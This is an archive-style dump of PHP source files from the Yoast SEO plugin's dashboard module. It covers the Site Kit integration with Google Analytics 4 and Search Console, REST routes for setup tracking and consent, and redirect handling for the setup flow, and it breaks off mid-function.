Sets the dimension filters. * * @param array> $dimension_filters The dimension filters. * * @return void */ public function set_dimension_filters( array $dimension_filters ): void { $this->dimension_filters = $dimension_filters; } /** * Getter for the dimension filters. * * @return array> */ public function get_dimension_filters(): array { return $this->dimension_filters; } /** * Sets the metrics. * * @link https://developers.google.com/analytics/devguides/reporting/data/v1/rest/v1beta/Metric * * @param array $metrics The metrics. * * @return void */ public function set_metrics( array $metrics ): void { foreach ( $metrics as $metric ) { $this->metrics[] = [ 'name' => $metric ]; } } /** * Getter for the metrics. * * @return array> */ public function get_metrics(): array { return $this->metrics; } /** * Sets the order by. * * @link https://developers.google.com/analytics/devguides/reporting/data/v1/rest/v1beta/OrderBy * * @param string $key The key to order by. * @param string $name The name to order by. * * @return void */ public function set_order_by( string $key, string $name ): void { $order_by = [ [ $key => [ $key . 'Name' => $name, ], ], ]; $this->order_by = $order_by; } /** * Getter for the order by. * * @return array>> */ public function get_order_by(): array { return $this->order_by; } } dashboard/infrastructure/analytics-4/site-kit-analytics-4-adapter.php000064400000024710152076257570021735 0ustar00site_kit_search_console_api_call = $site_kit_analytics_4_api_call; } /** * The wrapper method to do a comparison Site Kit API request for Analytics. * * @param Analytics_4_Parameters $parameters The parameters. * * @return Data_Container The Site Kit API response. * * @throws Failed_Request_Exception When the request responds with an error from Site Kit. * @throws Unexpected_Response_Exception When the request responds with an unexpected format. * @throws Invalid_Request_Exception When the request is invalid due to unexpected parameters. */ public function get_comparison_data( Analytics_4_Parameters $parameters ): Data_Container { $api_parameters = $this->build_parameters( $parameters ); $response = $this->site_kit_search_console_api_call->do_request( $api_parameters ); $this->validate_response( $response ); return $this->parse_comparison_response( $response->get_data() ); } /** * The wrapper method to do a daily Site Kit API request for Analytics. * * @param Analytics_4_Parameters $parameters The parameters. * * @return Data_Container The Site Kit API response. * * @throws Failed_Request_Exception When the request responds with an error from Site Kit. * @throws Unexpected_Response_Exception When the request responds with an unexpected format. * @throws Invalid_Request_Exception When the request is invalid due to unexpected parameters. */ public function get_daily_data( Analytics_4_Parameters $parameters ): Data_Container { $api_parameters = $this->build_parameters( $parameters ); $response = $this->site_kit_search_console_api_call->do_request( $api_parameters ); $this->validate_response( $response ); return $this->parse_daily_response( $response->get_data() ); } /** * Builds the parameters to be used in the Site Kit API request. * * @param Analytics_4_Parameters $parameters The parameters. * * @return array> The Site Kit API parameters. */ private function build_parameters( Analytics_4_Parameters $parameters ): array { $api_parameters = [ 'slug' => 'analytics-4', 'datapoint' => 'report', 'startDate' => $parameters->get_start_date(), 'endDate' => $parameters->get_end_date(), ]; if ( ! empty( $parameters->get_dimension_filters() ) ) { $api_parameters['dimensionFilters'] = $parameters->get_dimension_filters(); } if ( ! empty( $parameters->get_dimensions() ) ) { $api_parameters['dimensions'] = $parameters->get_dimensions(); } if ( ! empty( $parameters->get_metrics() ) ) { $api_parameters['metrics'] = $parameters->get_metrics(); } if ( ! empty( $parameters->get_order_by() ) ) { $api_parameters['orderby'] = $parameters->get_order_by(); } if ( ! empty( $parameters->get_compare_start_date() && ! empty( $parameters->get_compare_end_date() ) ) ) { $api_parameters['compareStartDate'] = $parameters->get_compare_start_date(); $api_parameters['compareEndDate'] = $parameters->get_compare_end_date(); } return $api_parameters; } /** * Parses a response for a Site Kit API request that requests daily data for Analytics 4. * * @param RunReportResponse $response The response to parse. * * @return Data_Container The parsed response. * * @throws Invalid_Request_Exception When the request is invalid due to unexpected parameters. */ private function parse_daily_response( RunReportResponse $response ): Data_Container { if ( ! $this->is_daily_request( $response ) ) { throw new Invalid_Request_Exception( 'Unexpected parameters for the request' ); } $data_container = new Data_Container(); foreach ( $response->getRows() as $daily_traffic ) { $traffic_data = new Traffic_Data(); foreach ( $response->getMetricHeaders() as $key => $metric ) { // As per https://developers.google.com/analytics/devguides/reporting/data/v1/basics#read_the_response, // the order of the columns is consistent in the request, header, and rows. // So we can use the key of the header to get the correct metric value from the row. $metric_value = $daily_traffic->getMetricValues()[ $key ]->getValue(); if ( $metric->getName() === 'sessions' ) { $traffic_data->set_sessions( (int) $metric_value ); } elseif ( $metric->getName() === 'totalUsers' ) { $traffic_data->set_total_users( (int) $metric_value ); } } // Since we're here, we know that the first dimension is date, so we know that dimensionValues[0]->value is a date. $data_container->add_data( new Daily_Traffic_Data( $daily_traffic->getDimensionValues()[0]->getValue(), $traffic_data ) ); } return $data_container; } /** * Parses a response for a Site Kit API request for Analytics 4 that compares data ranges. * * @param RunReportResponse $response The response to parse. * * @return Data_Container The parsed response. * * @throws Invalid_Request_Exception When the request is invalid due to unexpected parameters. */ private function parse_comparison_response( RunReportResponse $response ): Data_Container { if ( ! $this->is_comparison_request( $response ) ) { throw new Invalid_Request_Exception( 'Unexpected parameters for the request' ); } $data_container = new Data_Container(); $comparison_traffic_data = new Comparison_Traffic_Data(); // First row is the current date range's data, second row is the previous date range's data. foreach ( $response->getRows() as $date_range_row ) { $traffic_data = new Traffic_Data(); // Loop through all the metrics of the date range. foreach ( $response->getMetricHeaders() as $key => $metric ) { // As per https://developers.google.com/analytics/devguides/reporting/data/v1/basics#read_the_response, // the order of the columns is consistent in the request, header, and rows. // So we can use the key of the header to get the correct metric value from the row. $metric_value = $date_range_row->getMetricValues()[ $key ]->getValue(); if ( $metric->getName() === 'sessions' ) { $traffic_data->set_sessions( (int) $metric_value ); } elseif ( $metric->getName() === 'totalUsers' ) { $traffic_data->set_total_users( (int) $metric_value ); } } $period = $this->get_period( $date_range_row ); if ( $period === Comparison_Traffic_Data::CURRENT_PERIOD_KEY ) { $comparison_traffic_data->set_current_traffic_data( $traffic_data ); } elseif ( $period === Comparison_Traffic_Data::PREVIOUS_PERIOD_KEY ) { $comparison_traffic_data->set_previous_traffic_data( $traffic_data ); } } $data_container->add_data( $comparison_traffic_data ); return $data_container; } /** * Parses the response row and returns whether it's about the current period or the previous period. * * @see https://developers.google.com/analytics/devguides/reporting/data/v1/rest/v1beta/DateRange * * @param Row $date_range_row The response row. * * @return string The key associated with the current or the previous period. * * @throws Invalid_Request_Exception When the request is invalid due to unexpected parameters. */ private function get_period( Row $date_range_row ): string { foreach ( $date_range_row->getDimensionValues() as $dimension_value ) { if ( $dimension_value->getValue() === 'date_range_0' ) { return Comparison_Traffic_Data::CURRENT_PERIOD_KEY; } elseif ( $dimension_value->getValue() === 'date_range_1' ) { return Comparison_Traffic_Data::PREVIOUS_PERIOD_KEY; } } throw new Invalid_Request_Exception( 'Unexpected date range names' ); } /** * Checks the response of the request to detect if it's a comparison request. * * @param RunReportResponse $response The response. * * @return bool Whether it's a comparison request. */ private function is_comparison_request( RunReportResponse $response ): bool { return \count( $response->getDimensionHeaders() ) === 1 && $response->getDimensionHeaders()[0]->getName() === 'dateRange'; } /** * Checks the response of the request to detect if it's a daily request. * * @param RunReportResponse $response The response. * * @return bool Whether it's a daily request. */ private function is_daily_request( RunReportResponse $response ): bool { return \count( $response->getDimensionHeaders() ) === 1 && $response->getDimensionHeaders()[0]->getName() === 'date'; } /** * Validates the response coming from Google Analytics. * * @param WP_REST_Response $response The response we want to validate. * * @return void * * @throws Failed_Request_Exception When the request responds with an error from Site Kit. * @throws Unexpected_Response_Exception When the request responds with an unexpected format. */ private function validate_response( WP_REST_Response $response ): void { if ( $response->is_error() ) { $error_data = $response->as_error()->get_error_data(); $error_status_code = ( $error_data['status'] ?? 500 ); throw new Failed_Request_Exception( \wp_kses_post( $response->as_error()->get_error_message() ), (int) $error_status_code ); } if ( ! \is_a( $response->get_data(), RunReportResponse::class ) ) { throw new Unexpected_Response_Exception(); } } } dashboard/infrastructure/analytics-4/site-kit-analytics-4-api-call.php000064400000002032152076257570021770 0ustar00> $api_parameters The api parameters. * * @return WP_REST_Response */ public function do_request( array $api_parameters ): WP_REST_Response { $request = new WP_REST_Request( 'GET', '/' . REST_Routes::REST_ROOT . self::ANALYTICS_DATA_REPORT_ROUTE ); $request->set_query_params( $api_parameters ); return \rest_do_request( $request ); } } dashboard/infrastructure/browser-cache/browser-cache-configuration.php000064400000003060152076257570022420 0ustar00> The cache TTL for each widget. */ private function get_widgets_cache_ttl() { return [ 'topPages' => [ 'ttl' => ( 1 * \MINUTE_IN_SECONDS ), ], 'topQueries' => [ 'ttl' => ( 1 * \HOUR_IN_SECONDS ), ], 'searchRankingCompare' => [ 'ttl' => ( 1 * \HOUR_IN_SECONDS ), ], 'organicSessions' => [ 'ttl' => ( 1 * \HOUR_IN_SECONDS ), ], ]; } /** * Gets the prefix for the client side cache key. * * Cache key is scoped to user session and blog_id to isolate the * cache between users and sites (in multisite). * * @return string */ private function get_storage_prefix() { $current_user = \wp_get_current_user(); $auth_cookie = \wp_parse_auth_cookie(); $blog_id = \get_current_blog_id(); $session_token = ( $auth_cookie['token'] ?? '' ); return \wp_hash( $current_user->user_login . '|' . $session_token . '|' . $blog_id ); } /** * Returns the browser cache configuration. * * @return array>> */ public function get_configuration(): array { return [ 'storagePrefix' => $this->get_storage_prefix(), 'yoastVersion' => \WPSEO_VERSION, 'widgetsCacheTtl' => $this->get_widgets_cache_ttl(), ]; } } dashboard/infrastructure/taxonomies/taxonomy-validator.php000064400000001460152076257570020334 0ustar00public && $taxonomy->show_in_rest && \in_array( $taxonomy->name, \get_object_taxonomies( $content_type ), true ); } } dashboard/infrastructure/taxonomies/taxonomies-collector.php000064400000006342152076257570020651 0ustar00taxonomy_validator = $taxonomy_validator; } /** * Returns a custom pair of taxonomy/content type, that's been given by users via hooks. * * @param string $content_type The content type we're hooking for. * * @return Taxonomy|null The hooked filtering taxonomy. */ public function get_custom_filtering_taxonomy( string $content_type ) { /** * Filter: 'wpseo_{$content_type}_filtering_taxonomy' - Allows overriding which taxonomy filters the content type. * * @internal * * @param string $filtering_taxonomy The taxonomy that filters the content type. */ $filtering_taxonomy = \apply_filters( "wpseo_{$content_type}_filtering_taxonomy", '' ); if ( $filtering_taxonomy !== '' ) { $taxonomy = $this->get_taxonomy( $filtering_taxonomy, $content_type ); if ( $taxonomy ) { return $taxonomy; } \_doing_it_wrong( 'Filter: \'wpseo_{$content_type}_filtering_taxonomy\'', 'The `wpseo_{$content_type}_filtering_taxonomy` filter should return a public taxonomy, available in REST API, that is associated with that content type.', 'YoastSEO v24.1', ); } return null; } /** * Returns the fallback, WP-native category taxonomy, if it's associated with the specific content type. * * @param string $content_type The content type. * * @return Taxonomy|null The taxonomy object for the category taxonomy. */ public function get_fallback_taxonomy( string $content_type ): ?Taxonomy { return $this->get_taxonomy( 'category', $content_type ); } /** * Returns the taxonomy object that filters a specific content type. * * @param string $taxonomy_name The name of the taxonomy we're going to build the object for. * @param string $content_type The content type that the taxonomy object is filtering. * * @return Taxonomy|null The taxonomy object. */ public function get_taxonomy( string $taxonomy_name, string $content_type ): ?Taxonomy { $taxonomy = \get_taxonomy( $taxonomy_name ); if ( $this->taxonomy_validator->is_valid_taxonomy( $taxonomy, $content_type ) ) { return new Taxonomy( $taxonomy->name, $taxonomy->label, $this->get_taxonomy_rest_url( $taxonomy ) ); } return null; } /** * Builds the REST API URL for the taxonomy. * * @param WP_Taxonomy $taxonomy The taxonomy we want to build the REST API URL for. * * @return string The REST API URL for the taxonomy. */ protected function get_taxonomy_rest_url( WP_Taxonomy $taxonomy ): string { $rest_base = ( $taxonomy->rest_base ) ? $taxonomy->rest_base : $taxonomy->name; $rest_namespace = ( $taxonomy->rest_namespace ) ? $taxonomy->rest_namespace : 'wp/v2'; return \rest_url( "{$rest_namespace}/{$rest_base}" ); } } dashboard/infrastructure/connection/site-kit-is-connected-call.php000064400000002676152076257570021471 0ustar00is_error() ) { return false; } return $response->get_data()['setupCompleted']; } /** * Runs the internal REST api call. * * @return bool */ public function is_ga_connected(): bool { if ( ! \class_exists( REST_Routes::class ) ) { return false; } $request = new WP_REST_Request( 'GET', '/' . REST_Routes::REST_ROOT . '/core/modules/data/list' ); $response = \rest_do_request( $request ); if ( $response->is_error() ) { return false; } $connected = false; foreach ( $response->get_data() as $module ) { if ( $module['slug'] === 'analytics-4' ) { $connected = $module['connected']; } } return $connected; } } dashboard/infrastructure/search-console/site-kit-search-console-api-call.php000064400000002024152076257570023323 0ustar00> $api_parameters The api parameters. * * @return WP_REST_Response */ public function do_request( array $api_parameters ): WP_REST_Response { $request = new WP_REST_Request( 'GET', self::SEARCH_CONSOLE_DATA_SEARCH_ANALYTICS_ROUTE ); $request->set_query_params( $api_parameters ); return \rest_do_request( $request ); } } dashboard/infrastructure/search-console/site-kit-search-console-adapter.php000064400000015670152076257570023274 0ustar00site_kit_search_console_api_call = $site_kit_search_console_api_call; } /** * The wrapper method to do a Site Kit API request for Search Console. * * @param Search_Console_Parameters $parameters The parameters. * * @throws Failed_Request_Exception When the request responds with an error from Site Kit. * @throws Unexpected_Response_Exception When the request responds with an unexpected format. * @return Data_Container The Site Kit API response. */ public function get_data( Search_Console_Parameters $parameters ): Data_Container { $api_parameters = $this->build_parameters( $parameters ); $response = $this->site_kit_search_console_api_call->do_request( $api_parameters ); $this->validate_response( $response ); return $this->parse_response( $response->get_data() ); } /** * The wrapper method to do a comparison Site Kit API request for Search Console. * * @param Search_Console_Parameters $parameters The parameters. * * @throws Failed_Request_Exception When the request responds with an error from Site Kit. * @throws Unexpected_Response_Exception When the request responds with an unexpected format. * @return Data_Container The Site Kit API response. */ public function get_comparison_data( Search_Console_Parameters $parameters ): Data_Container { $api_parameters = $this->build_parameters( $parameters ); // Since we're doing a comparison request, we need to increase the date range to the start of the previous period. We'll later split the data into two periods. $api_parameters['startDate'] = $parameters->get_compare_start_date(); $response = $this->site_kit_search_console_api_call->do_request( $api_parameters ); $this->validate_response( $response ); return $this->parse_comparison_response( $response->get_data(), $parameters->get_compare_end_date() ); } /** * Builds the parameters to be used in the Site Kit API request. * * @param Search_Console_Parameters $parameters The parameters. * * @return array> The Site Kit API parameters. */ private function build_parameters( Search_Console_Parameters $parameters ): array { $api_parameters = [ 'startDate' => $parameters->get_start_date(), 'endDate' => $parameters->get_end_date(), 'dimensions' => $parameters->get_dimensions(), ]; if ( $parameters->get_limit() !== 0 ) { $api_parameters['limit'] = $parameters->get_limit(); } return $api_parameters; } /** * Parses a response for a comparison Site Kit API request for Search Analytics. * * @param ApiDataRow[] $response The response to parse. * @param string $compare_end_date The compare end date. * * @throws Unexpected_Response_Exception When the comparison request responds with an unexpected format. * @return Data_Container The parsed comparison Site Kit API response. */ private function parse_comparison_response( array $response, ?string $compare_end_date ): Data_Container { $data_container = new Data_Container(); $comparison_search_ranking_data = new Comparison_Search_Ranking_Data(); foreach ( $response as $ranking_date ) { if ( ! \is_a( $ranking_date, ApiDataRow::class ) ) { throw new Unexpected_Response_Exception(); } $ranking_data = new Search_Ranking_Data( $ranking_date->getClicks(), $ranking_date->getCtr(), $ranking_date->getImpressions(), $ranking_date->getPosition(), $ranking_date->getKeys()[0] ); // Now split the data into two periods. if ( $ranking_date->getKeys()[0] <= $compare_end_date ) { $comparison_search_ranking_data->add_previous_traffic_data( $ranking_data ); } else { $comparison_search_ranking_data->add_current_traffic_data( $ranking_data ); } } $data_container->add_data( $comparison_search_ranking_data ); return $data_container; } /** * Parses a response for a Site Kit API request for Search Analytics. * * @param ApiDataRow[] $response The response to parse. * * @throws Unexpected_Response_Exception When the request responds with an unexpected format. * @return Data_Container The parsed Site Kit API response. */ private function parse_response( array $response ): Data_Container { $search_ranking_data_container = new Data_Container(); foreach ( $response as $ranking ) { if ( ! \is_a( $ranking, ApiDataRow::class ) ) { throw new Unexpected_Response_Exception(); } /** * Filter: 'wpseo_transform_dashboard_subject_for_testing' - Allows overriding subjects like URLs for the dashboard, to facilitate testing in local environments. * * @param string $url The subject to be transformed. * * @internal */ $subject = \apply_filters( 'wpseo_transform_dashboard_subject_for_testing', $ranking->getKeys()[0] ); $search_ranking_data_container->add_data( new Search_Ranking_Data( $ranking->getClicks(), $ranking->getCtr(), $ranking->getImpressions(), $ranking->getPosition(), $subject ) ); } return $search_ranking_data_container; } /** * Validates the response coming from Search Console. * * @param WP_REST_Response $response The response we want to validate. * * @return void. * * @throws Failed_Request_Exception When the request responds with an error from Site Kit. * @throws Unexpected_Response_Exception When the request responds with an unexpected format. */ private function validate_response( WP_REST_Response $response ): void { if ( $response->is_error() ) { $error_data = $response->as_error()->get_error_data(); $error_status_code = ( $error_data['status'] ?? 500 ); throw new Failed_Request_Exception( \wp_kses_post( $response->as_error() ->get_error_message(), ), (int) $error_status_code, ); } if ( ! \is_array( $response->get_data() ) ) { throw new Unexpected_Response_Exception(); } } } dashboard/infrastructure/search-console/search-console-parameters.php000064400000001464152076257570022264 0ustar00 $dimensions The dimensions. * * @return void */ public function set_dimensions( array $dimensions ): void { $this->dimensions = $dimensions; } /** * Getter for the dimensions. * * @return string[] */ public function get_dimensions(): array { return $this->dimensions; } } dashboard/user-interface/setup/setup-flow-interceptor.php000064400000010304152076257570017737 0ustar00current_page_helper = $current_page_helper; $this->redirect_helper = $redirect_helper; $this->site_kit_configuration = $site_kit_configuration; } /** * Registers our redirect back to our dashboard all the way at the end of the admin init to make sure everything from the Site Kit callback can be finished. * * @return void */ public function register_hooks() { \add_action( 'admin_init', [ $this, 'intercept_site_kit_setup_flow' ], 999 ); } /** * The conditions for this integration to load. * * @return string[] The conditionals. */ public static function get_conditionals() { return [ Admin_Conditional::class ]; } /** * Checks if we should intercept the final page from the Site Kit flow. * * @return void */ public function intercept_site_kit_setup_flow() { if ( \get_transient( Setup_Url_Interceptor::SITE_KIT_SETUP_TRANSIENT ) === '1' && $this->is_site_kit_setup_completed_page() ) { \delete_transient( Setup_Url_Interceptor::SITE_KIT_SETUP_TRANSIENT ); $this->redirect_helper->do_safe_redirect( \self_admin_url( 'admin.php?page=wpseo_dashboard&redirected_from_site_kit' ), 302, 'Yoast SEO' ); } } /** * Checks if we are on the site kit setup completed page. * * @return bool */ private function is_site_kit_setup_completed_page(): bool { $current_page = $this->current_page_helper->get_current_yoast_seo_page(); $on_search_console_setup_page = $current_page === self::GOOGLE_SITE_KIT_SEARCH_CONSOLE_SETUP_FINISHED_PAGE; $on_analytics_setup_page = $current_page === self::GOOGLE_SITE_KIT_ANALYTICS_SETUP_FINISHED_PAGE; // phpcs:ignore WordPress.Security.NonceVerification.Recommended -- Reason: We are not processing form information. $authentication_success_notification = isset( $_GET['notification'] ) && \sanitize_text_field( \wp_unslash( $_GET['notification'] ) ) === 'authentication_success'; // phpcs:ignore WordPress.Security.NonceVerification.Recommended -- Reason: We are not processing form information. $analytics_4_slug = isset( $_GET['slug'] ) && \sanitize_text_field( \wp_unslash( $_GET['slug'] ) ) === 'analytics-4'; /** * This checks two scenarios * 1. The user only wants Search Console. In this case just checking if you are on the thank-you page from Site Kit is enough. * 2. The user also wants analytics. So we need to check another page and also check if the analytics 4 connection is finalized. */ return ( $on_search_console_setup_page && $authentication_success_notification ) || ( $on_analytics_setup_page && $authentication_success_notification && $analytics_4_slug && $this->site_kit_configuration->is_ga_connected() ); } } dashboard/user-interface/setup/setup-url-interceptor.php000064400000007767152076257570017615 0ustar00current_page_helper = $current_page_helper; $this->redirect_helper = $redirect_helper; $this->site_kit_configuration = $site_kit_configuration; } /** * The conditions for this integration to load. * * @return string[] The conditionals. */ public static function get_conditionals() { return [ Admin_Conditional::class ]; } /** * Registers the interceptor code to the admin_init function. * * @return void */ public function register_hooks() { \add_filter( 'admin_menu', [ $this, 'add_redirect_page' ] ); \add_action( 'admin_init', [ $this, 'intercept_site_kit_setup_url_redirect' ], 1 ); } /** * Adds a dummy page. * * We need to register this in between page. * * @param array> $pages The pages. * * @return array> The pages. */ public function add_redirect_page( $pages ) { \add_submenu_page( '', '', '', 'wpseo_manage_options', self::PAGE, ); return $pages; } /** * Checks if we are trying to reach a site kit setup url and sets the needed transient in between. * * @return void */ public function intercept_site_kit_setup_url_redirect() { $allowed_setup_links = [ $this->site_kit_configuration->get_install_url(), $this->site_kit_configuration->get_activate_url(), $this->site_kit_configuration->get_setup_url(), $this->site_kit_configuration->get_update_url(), ]; // Are we on the in-between page? if ( $this->current_page_helper->get_current_yoast_seo_page() === self::PAGE ) { // Check if parameter is there and is valid. // phpcs:ignore WordPress.Security.NonceVerification.Recommended -- Reason: We are not processing form information. if ( isset( $_GET['redirect_setup_url'] ) && \in_array( \wp_unslash( $_GET['redirect_setup_url'] ), $allowed_setup_links, true ) ) { // We overwrite the transient for each time this redirect is hit to keep refreshing the time. \set_transient( self::SITE_KIT_SETUP_TRANSIENT, 1, ( \MINUTE_IN_SECONDS * 15 ) ); // phpcs:ignore WordPress.Security.NonceVerification.Recommended, WordPress.Security.ValidatedSanitizedInput.InputNotSanitized -- Reason: Only allowed pre verified links can end up here. $redirect_url = \wp_unslash( $_GET['redirect_setup_url'] ); $this->redirect_helper->do_safe_redirect( $redirect_url, 302, 'Yoast SEO' ); } else { $this->redirect_helper->do_safe_redirect( \self_admin_url( 'admin.php?page=wpseo_dashboard' ), 302, 'Yoast SEO' ); } } } } dashboard/user-interface/tracking/setup-steps-tracking-route.php000064400000011701152076257570021172 0ustar00setup_steps_tracking_repository = $setup_steps_tracking_repository; $this->capability_helper = $capability_helper; } /** * Registers routes with WordPress. * * @return void */ public function register_routes() { \register_rest_route( self::ROUTE_NAMESPACE, self::ROUTE_PREFIX, [ [ 'methods' => 'POST', 'callback' => [ $this, 'track_setup_steps' ], 'permission_callback' => [ $this, 'check_capabilities' ], 'args' => [ 'setup_widget_loaded' => [ 'required' => false, 'type' => 'string', 'enum' => [ 'yes', 'no' ], ], 'first_interaction_stage' => [ 'required' => false, 'type' => 'string', 'enum' => [ 'install', 'activate', 'setup', 'grantConsent', 'successfullyConnected' ], ], 'last_interaction_stage' => [ 'required' => false, 'type' => 'string', 'enum' => [ 'install', 'activate', 'setup', 'grantConsent', 'successfullyConnected' ], ], 'setup_widget_temporarily_dismissed' => [ 'required' => false, 'type' => 'string', 'enum' => [ 'yes', 'no' ], ], 'setup_widget_permanently_dismissed' => [ 'required' => false, 'type' => 'string', 'enum' => [ 'yes', 'no' ], ], ], ], ], ); } /** * Stores tracking information. * * @param WP_REST_Request $request The request object. * * @return WP_REST_Response|WP_Error The success or failure response. */ public function track_setup_steps( WP_REST_Request $request ) { $data = [ 'setup_widget_loaded' => $request->get_param( 'setupWidgetLoaded' ), 'first_interaction_stage' => $request->get_param( 'firstInteractionStage' ), 'last_interaction_stage' => $request->get_param( 'lastInteractionStage' ), 'setup_widget_temporarily_dismissed' => $request->get_param( 'setupWidgetTemporarilyDismissed' ), 'setup_widget_permanently_dismissed' => $request->get_param( 'setupWidgetPermanentlyDismissed' ), ]; // Filter out null values from the data array. $data = \array_filter( $data, static function ( $value ) { return $value !== null; }, ); // Check if all values are null then return an error that no valid params were passed. if ( empty( $data ) ) { return new WP_Error( 'wpseo_set_site_kit_usage_tracking', \__( 'No valid parameters were passed.', 'wordpress-seo' ), [ 'status' => 400 ], ); } $result = true; foreach ( $data as $key => $value ) { try { $result = $this->setup_steps_tracking_repository->set_setup_steps_tracking_element( $key, $value ); } catch ( Exception $exception ) { return new WP_Error( 'wpseo_set_site_kit_usage_tracking', $exception->getMessage(), (object) [], ); } if ( ! $result ) { break; } } return new WP_REST_Response( [ 'success' => $result, ], ( $result ) ? 200 : 400, ); } /** * Checks if the current user has the required capabilities. * * @return bool */ public function check_capabilities() { return $this->capability_helper->current_user_can( 'wpseo_manage_options' ); } } dashboard/user-interface/configuration/site-kit-consent-management-route.php000064400000006650152076257600023456 0ustar00 */ public static function get_conditionals() { // This cannot have the Admin Conditional since it also needs to run in Rest requests. return [ Site_Kit_Conditional::class ]; } /** * Constructs the class. * * @param Site_Kit_Consent_Repository_Interface $site_kit_consent_repository The repository. * @param Capability_Helper $capability_helper The capability helper. */ public function __construct( Site_Kit_Consent_Repository_Interface $site_kit_consent_repository, Capability_Helper $capability_helper ) { $this->site_kit_consent_repository = $site_kit_consent_repository; $this->capability_helper = $capability_helper; } /** * Registers routes with WordPress. * * @return void */ public function register_routes() { \register_rest_route( self::ROUTE_NAMESPACE, self::ROUTE_PREFIX, [ [ 'methods' => 'POST', 'callback' => [ $this, 'set_site_kit_consent' ], 'permission_callback' => [ $this, 'check_capabilities' ], 'args' => [ 'consent' => [ 'required' => true, 'type' => 'bool', 'sanitize_callback' => 'rest_sanitize_boolean', ], ], ], ], ); } /** * Sets whether the Site Kit configuration is permanently dismissed. * * @param WP_REST_Request $request The request object. * * @return WP_REST_Response|WP_Error The success or failure response. */ public function set_site_kit_consent( WP_REST_Request $request ) { $consent = $request->get_param( 'consent' ); try { $result = $this->site_kit_consent_repository->set_site_kit_consent( $consent ); } catch ( Exception $exception ) { return new WP_Error( 'wpseo_set_site_kit_consent_error', $exception->getMessage(), (object) [], ); } return new WP_REST_Response( [ 'success' => $result, ], ( $result ) ? 200 : 400, ); } /** * Checks if the current user has the required capabilities. * * @return bool */ public function check_capabilities() { return $this->capability_helper->current_user_can( 'wpseo_manage_options' ); } } dashboard/user-interface/configuration/site-kit-capabilities-integration.php000064400000003236152076257600023506 0ustar00 */ public static function get_conditionals() { // This cannot have the Admin Conditional since it also needs to run in Rest requests. return [ Site_Kit_Conditional::class ]; } /** * Checks if the Site Kit capabilities need to be enabled for a manager. * * @param array $all_caps All the current capabilities of the current user. * @param array $cap_to_check The capability to check against. * * @return array */ public function enable_site_kit_capabilities( $all_caps, $cap_to_check ) { if ( ! isset( $cap_to_check[0] ) || ! \class_exists( Permissions::class ) ) { return $all_caps; } $user = \wp_get_current_user(); $caps_to_check = [ Permissions::SETUP, Permissions::VIEW_DASHBOARD, ]; if ( \in_array( $cap_to_check[0], $caps_to_check, true ) && \in_array( 'wpseo_manager', $user->roles, true ) ) { $all_caps[ $cap_to_check[0] ] = true; } return $all_caps; } } dashboard/user-interface/configuration/site-kit-configuration-dismissal-route.php000064400000007276152076257600024535 0ustar00permanently_dismissed_site_kit_configuration_repository = $permanently_dismissed_site_kit_configuration_repository; $this->capability_helper = $capability_helper; } /** * Registers routes with WordPress. * * @return void */ public function register_routes() { \register_rest_route( self::ROUTE_NAMESPACE, self::ROUTE_PREFIX, [ [ 'methods' => 'POST', 'callback' => [ $this, 'set_site_kit_configuration_permanent_dismissal' ], 'permission_callback' => [ $this, 'check_capabilities' ], 'args' => [ 'is_dismissed' => [ 'required' => true, 'type' => 'bool', 'sanitize_callback' => 'rest_sanitize_boolean', ], ], ], ], ); } /** * Sets whether the Site Kit configuration is permanently dismissed. * * @param WP_REST_Request $request The request object. * * @return WP_REST_Response|WP_Error The success or failure response. */ public function set_site_kit_configuration_permanent_dismissal( WP_REST_Request $request ) { $is_dismissed = $request->get_param( 'is_dismissed' ); try { $result = $this->permanently_dismissed_site_kit_configuration_repository->set_site_kit_configuration_dismissal( $is_dismissed ); } catch ( Exception $exception ) { return new WP_Error( 'wpseo_set_site_kit_configuration_permanent_dismissal_error', $exception->getMessage(), (object) [], ); } return new WP_REST_Response( [ 'success' => $result, ], ( $result ) ? 200 : 400, ); } /** * Checks if the current user has the required capabilities. * * @return bool */ public function check_capabilities() { return $this->capability_helper->current_user_can( 'wpseo_manage_options' ); } } dashboard/user-interface/time-based-seo-metrics/time-based-seo-metrics-route.php000064400000024353152076257600024001 0ustar00 The conditionals that must be met to load this. */ public static function get_conditionals(): array { return [ Site_Kit_Conditional::class ]; } /** * The constructor. * * @param Top_Page_Repository $top_page_repository The data provider for page based search rankings. * @param Top_Query_Repository $top_query_repository The data provider for query based search rankings. * @param Organic_Sessions_Compare_Repository $organic_sessions_compare_repository The data provider for comparison organic session traffic. * @param Organic_Sessions_Daily_Repository $organic_sessions_daily_repository The data provider for daily organic session traffic. * @param Search_Ranking_Compare_Repository $search_ranking_compare_repository The data provider for searching ranking comparison. * @param Capability_Helper $capability_helper The capability helper. */ public function __construct( Top_Page_Repository $top_page_repository, Top_Query_Repository $top_query_repository, Organic_Sessions_Compare_Repository $organic_sessions_compare_repository, Organic_Sessions_Daily_Repository $organic_sessions_daily_repository, Search_Ranking_Compare_Repository $search_ranking_compare_repository, Capability_Helper $capability_helper ) { $this->top_page_repository = $top_page_repository; $this->top_query_repository = $top_query_repository; $this->organic_sessions_compare_repository = $organic_sessions_compare_repository; $this->organic_sessions_daily_repository = $organic_sessions_daily_repository; $this->search_ranking_compare_repository = $search_ranking_compare_repository; $this->capability_helper = $capability_helper; } /** * Registers routes for scores. * * @return void */ public function register_routes() { \register_rest_route( self::ROUTE_NAMESPACE, self::ROUTE_NAME, [ [ 'methods' => 'GET', 'callback' => [ $this, 'get_time_based_seo_metrics' ], 'permission_callback' => [ $this, 'permission_manage_options' ], 'args' => [ 'limit' => [ 'type' => 'int', 'sanitize_callback' => 'absint', 'default' => 5, ], 'options' => [ 'type' => 'object', 'required' => true, 'properties' => [ 'widget' => [ 'type' => 'string', 'required' => true, 'sanitize_callback' => 'sanitize_text_field', ], ], ], ], ], ], ); } /** * Gets the time based SEO metrics. * * @param WP_REST_Request $request The request object. * * @return WP_REST_Response The success or failure response. * * @throws Repository_Not_Found_Exception When the given widget name is not implemented yet. */ public function get_time_based_seo_metrics( WP_REST_Request $request ): WP_REST_Response { try { $widget_name = $request->get_param( 'options' )['widget']; switch ( $widget_name ) { case 'query': $request_parameters = new Search_Console_Parameters(); $request_parameters = $this->set_date_range_parameters( $request_parameters ); $request_parameters->set_limit( $request->get_param( 'limit' ) ); $request_parameters->set_dimensions( [ 'query' ] ); $time_based_seo_metrics_container = $this->top_query_repository->get_data( $request_parameters ); break; case 'page': $request_parameters = new Search_Console_Parameters(); $request_parameters = $this->set_date_range_parameters( $request_parameters ); $request_parameters->set_limit( $request->get_param( 'limit' ) ); $request_parameters->set_dimensions( [ 'page' ] ); $time_based_seo_metrics_container = 